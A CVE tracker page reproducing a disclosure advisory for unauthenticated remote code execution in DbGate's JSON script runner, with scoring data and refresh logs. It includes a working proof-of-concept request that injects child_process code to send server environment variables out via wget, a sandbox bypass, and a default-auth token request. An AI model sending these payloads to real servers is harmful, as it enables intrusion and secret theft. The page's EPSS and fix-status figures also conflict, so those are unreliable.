CVE-2026-47668

CRITICALPre-NVD 10.010.0
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 10.0 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.3%, top 43% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
Elevated
10.0
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 10.0Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

DbGate: Unauthenticated Remote Code Execution via JSON Script Runner

Summary

DbGate's JSON script runner (POST /runners/start) allows remote code execution via code injection in the functionName parameter of JSON script assign commands. The functionName value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.

Details

Step 1: User Input Entry Point

File: packages/api/src/controllers/runners.js - start() method

The /runners/start endpoint accepts a POST body containing a script object. When script.type == 'json', the request follows a different code path than raw shell scripts:

async start({ script }, req) {
    if (script.type == 'json') {
        if (!platformInfo.isElectron) {
            if (!checkSecureDirectoriesInScript(script)) {
                return { errorMessage: 'Unallowed directories in script' };
            }
        }
        logJsonRunnerScript(req, script);
        const js = await jsonScriptToJavascript(script);
        return this.startCore(runid, scriptTemplate(js, false));
    }
This path skips:
  • The run-shell-script permission check
  • The allowShellScripting platform-level check

The only validation performed is checkSecureDirectoriesInScript(), which props.fileName values


Step 2: JSON-to-JavaScript Conversion (Injection Point)

File: packages/tools/src/ScriptWriter.ts - assignCore() method

The JSON script's commands array contains objects with type: "assign". The assignCore method generates JavaScript by direct string concatenation of user-controlled values:

assignCore(variableName, functionName, props) {
    this._put(const ${variableName} = await ${functionName}(${JSON.stringify(props)}););
}

Both variableName and functionName are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.


Step 3: Function Name Compilation

File: packages/tools/src/packageTools.ts - compileShellApiFunctionName()

Before interpolation, functionName passes through this function:

export function compileShellApiFunctionName(functionName) {
    const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
    if (nsMatch) {
        return ${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]};
    }
    return dbgateApi.${functionName};
}

An attacker supplying functionName: "x;MALICIOUS_CODE;//" gets:

dbgateApi.x;MALICIOUS_CODE;//

This is syntactically valid JavaScript: dbgateApi.x evaluates (and is discarded), MALICIOUS_CODE executes, and // comments out the trailing (${JSON.stringify(props)});.


Step 4: Generated JavaScript Template

The complete generated script that gets executed:

const dbgateApi = require(process.env.DBGATE_API);
require = null;
async function run() {
    const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget ');//({});
    await dbgateApi.finalizer.run();
}
dbgateApi.runScript(run);

Step 5: Execution via child_process.fork()

File: packages/api/src/controllers/runners.js - startCore() method

The generated JavaScript string is written to a temporary file and executed as a new Node.js process via child_process.fork(). This provides the attacker with a full Node.js runtime, including access to process, child_process, fs, net, and all other Node.js built-in modules.

The require = null sandbox can be bypassed via:

  • process.mainModule.require() - separate reference unaffected by the null assignment
  • module.constructor._load() - internal module loader, also unaffected

Additional Injection Points

The same unsanitised string interpolation pattern exists in:

| Endpoint | Parameter | File | |----------|-----------|------| | POST /runners/start | functionName in assign commands | ScriptWriter.ts - assignCore() | | POST /runners/start | variableName in assign commands | ScriptWriter.ts - assignCore() | | POST /runners/load-reader | functionName parameter | ScriptWriter.ts - loaderScriptTemplate |

PoC

POST /runners/start HTTP/1.1
Host: :3000
Authorization: Bearer 
Content-Type: application/json

{ "script": { "type": "json", "commands": [ { "type": "assign", "variableName": "x", "functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" ');//", "props": {} } ], "packageNames": [] } }

The request to the out of band host was as follows:

POST / HTTP/1.1
Host: 
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 251

NODE_VERSION=22.22.2 HOSTNAME=4714c7a7405f YARN_VERSION=1.22.22 HOME=/root TERM=xterm PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin DBGATE_API=/home/dbgate-docker/bundle.js PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c


A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:

curl -sk -H "Content-Type: application/json"   -d '{"amoid":"none"}'   :3000/auth/login

Impact

| Scenario | Impact | CVSS Score | CVSS Vector | |----------|--------|--------|--------| | Anonymous auth mode (default deployment) (authProvider: "Anonymous") | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | | Authenticated deployment | Authenticated RCE - any user with API access | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |

Timeline

| Date | Event | |------|-------| | 2026-03-31 | Vulnerability discovered | | 2026-04-07 | Advisory report prepared and submitted to maintainer | | 2026-04-22 | Fix released (v7.1.9) | | 2026-04-24 | Maintainer acknowledgment | | 2026-05-20 | Public disclosure |

Acknowledgements

  • Discovery assisted by Neo from @ProjectDiscovery
  • Initial research direction inspired by @H0j3n — https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml

CVSS v3
10.0
EG Score
10.0(low)
EPSS
57.0%
KEV
Not listed

Published

June 5, 2026

Last Modified

June 5, 2026

Vendor Advisories for CVE-2026-47668(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
npm(1)
PackageVulnerable rangeFixed inDependents
dbgate-serve7.1.9

Data Freshness Timeline

(refreshed 23× in last 7d / 149× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 159 total refreshes for this CVE.

  1. 2026-07-05 23:42 UTCEG score recompute
  2. 2026-07-05 18:34 UTCEG score recompute
  3. 2026-07-04 20:37 UTCEG score recompute
  4. 2026-07-04 00:22 UTCEG score recompute
  5. 2026-07-03 20:31 UTCEG score recompute
  6. 2026-07-03 16:39 UTCEG score recompute
  7. 2026-07-03 09:45 UTCEG score recompute
  8. 2026-07-03 03:19 UTCEG score recompute
  9. 2026-07-02 23:21 UTCEG score recompute
  10. 2026-07-02 19:31 UTCEG score recompute
  11. 2026-07-02 15:39 UTCEG score recompute
  12. 2026-07-02 11:25 UTCEG score recompute
  13. 2026-07-02 06:45 UTCEG score recompute
  14. 2026-07-02 02:54 UTCEG score recompute
  15. 2026-07-01 23:02 UTCEG score recompute
  16. 2026-07-01 18:49 UTCEG score recompute
  17. 2026-07-01 14:58 UTCEG score recompute
  18. 2026-07-01 11:05 UTCEG score recompute
  19. 2026-07-01 07:14 UTCEG score recompute
  20. 2026-07-01 01:57 UTCEG score recompute
  21. 2026-06-30 22:06 UTCEG score recompute
  22. 2026-06-30 18:10 UTCEG score recompute
  23. 2026-06-30 07:48 UTCEG score recompute
  24. 2026-06-30 03:53 UTCEG score recompute
  25. 2026-06-30 00:02 UTCEG score recompute
Show 75 more
  1. 2026-06-29 20:09 UTCEG score recompute
  2. 2026-06-29 16:18 UTCEG score recompute
  3. 2026-06-29 12:22 UTCEG score recompute
  4. 2026-06-29 08:30 UTCEG score recompute
  5. 2026-06-29 00:02 UTCEG score recompute
  6. 2026-06-28 20:00 UTCEG score recompute
  7. 2026-06-28 16:09 UTCEG score recompute
  8. 2026-06-28 12:17 UTCEG score recompute
  9. 2026-06-28 08:19 UTCEG score recompute
  10. 2026-06-28 04:26 UTCEG score recompute
  11. 2026-06-28 00:35 UTCEG score recompute
  12. 2026-06-27 20:44 UTCEG score recompute
  13. 2026-06-27 16:52 UTCEG score recompute
  14. 2026-06-27 12:57 UTCEG score recompute
  15. 2026-06-27 09:06 UTCEG score recompute
  16. 2026-06-27 05:14 UTCEG score recompute
  17. 2026-06-27 01:04 UTCEG score recompute
  18. 2026-06-26 20:44 UTCEG score recompute
  19. 2026-06-26 16:54 UTCEG score recompute
  20. 2026-06-26 13:03 UTCEG score recompute
  21. 2026-06-26 04:48 UTCEG score recompute
  22. 2026-06-26 00:57 UTCEG score recompute
  23. 2026-06-25 20:46 UTCEG score recompute
  24. 2026-06-25 16:55 UTCEG score recompute
  25. 2026-06-25 13:04 UTCEG score recompute
  26. 2026-06-25 09:12 UTCEG score recompute
  27. 2026-06-25 05:20 UTCEG score recompute
  28. 2026-06-25 01:26 UTCEG score recompute
  29. 2026-06-24 21:34 UTCEG score recompute
  30. 2026-06-24 14:15 UTCEG score recompute
  31. 2026-06-24 08:27 UTCEG score recompute
  32. 2026-06-24 02:57 UTCEG score recompute
  33. 2026-06-23 23:02 UTCEG score recompute
  34. 2026-06-23 17:32 UTCEG score recompute
  35. 2026-06-23 04:29 UTCEG score recompute
  36. 2026-06-22 22:58 UTCEG score recompute
  37. 2026-06-22 14:39 UTCEG score recompute
  38. 2026-06-21 12:16 UTCEG score recompute
  39. 2026-06-21 07:37 UTCEG score recompute
  40. 2026-06-21 03:46 UTCEG score recompute
  41. 2026-06-20 17:34 UTCEG score recompute
  42. 2026-06-20 12:25 UTCEG score recompute
  43. 2026-06-20 08:33 UTCEG score recompute
  44. 2026-06-19 23:34 UTCEG score recompute
  45. 2026-06-19 19:08 UTCEG score recompute
  46. 2026-06-19 15:17 UTCEG score recompute
  47. 2026-06-19 11:26 UTCEG score recompute
  48. 2026-06-19 06:20 UTCEG score recompute
  49. 2026-06-19 02:19 UTCEG score recompute
  50. 2026-06-18 21:09 UTCEG score recompute
  51. 2026-06-18 16:12 UTCEG score recompute
  52. 2026-06-18 11:51 UTCEG score recompute
  53. 2026-06-18 07:27 UTCEG score recompute
  54. 2026-06-18 02:46 UTCEG score recompute
  55. 2026-06-17 22:55 UTCEG score recompute
  56. 2026-06-17 19:04 UTCEG score recompute
  57. 2026-06-17 15:12 UTCEG score recompute
  58. 2026-06-17 11:19 UTCEG score recompute
  59. 2026-06-17 07:28 UTCEG score recompute
  60. 2026-06-17 03:10 UTCEG score recompute
  61. 2026-06-16 23:19 UTCEG score recompute
  62. 2026-06-16 19:24 UTCEG score recompute
  63. 2026-06-16 15:33 UTCEG score recompute
  64. 2026-06-16 11:42 UTCEG score recompute
  65. 2026-06-16 07:49 UTCEG score recompute
  66. 2026-06-16 03:58 UTCEG score recompute
  67. 2026-06-16 00:07 UTCEG score recompute
  68. 2026-06-15 20:15 UTCEG score recompute
  69. 2026-06-15 16:19 UTCEG score recompute
  70. 2026-06-15 12:24 UTCEG score recompute
  71. 2026-06-15 08:28 UTCEG score recompute
  72. 2026-06-15 04:31 UTCEG score recompute
  73. 2026-06-15 00:40 UTCEG score recompute
  74. 2026-06-14 23:18 UTCEPSS rescore
  75. 2026-06-14 20:49 UTCEG score recompute

Publicly available exploits

(2 references)

Working exploit code is in the public domain (1 GitHub PoC). Defenders should treat patch urgency accordingly — public PoCs typically lead to mass-exploitation within 24-72 hours.

  • GitHub PoCNxploited/CVE-2026-47668
    First seen May 26, 2026

    DbGate Unauthenticated Remote Code Execution

    Open source ↗
  • Nucleihttp/cves/2026/CVE-2026-47668.yaml
    First seen Jan 1, 2026

    DbGate - Remote Code Execution via Anonymous JWT

    Open source ↗

Frequently asked(5)

What is CVE-2026-47668?
CVE-2026-47668 is a critical vulnerability published on June 5, 2026. DbGate: Unauthenticated Remote Code Execution via JSON Script Runner Summary DbGate's JSON script runner (POST /runners/start) allows remote code execution via code injection in the functionName parameter of JSON script assign commands. The functionName value is interpolated directly into…
When was CVE-2026-47668 disclosed?
CVE-2026-47668 was first published in the National Vulnerability Database on June 5, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-47668 actively exploited?
CVE-2026-47668 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 57.0% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-47668?
CVE-2026-47668 has a CVSS v4.0 base score of 10.0 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-47668?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-47668, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-47668

Explore →

Is Your Infrastructure Affected by CVE-2026-47668?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.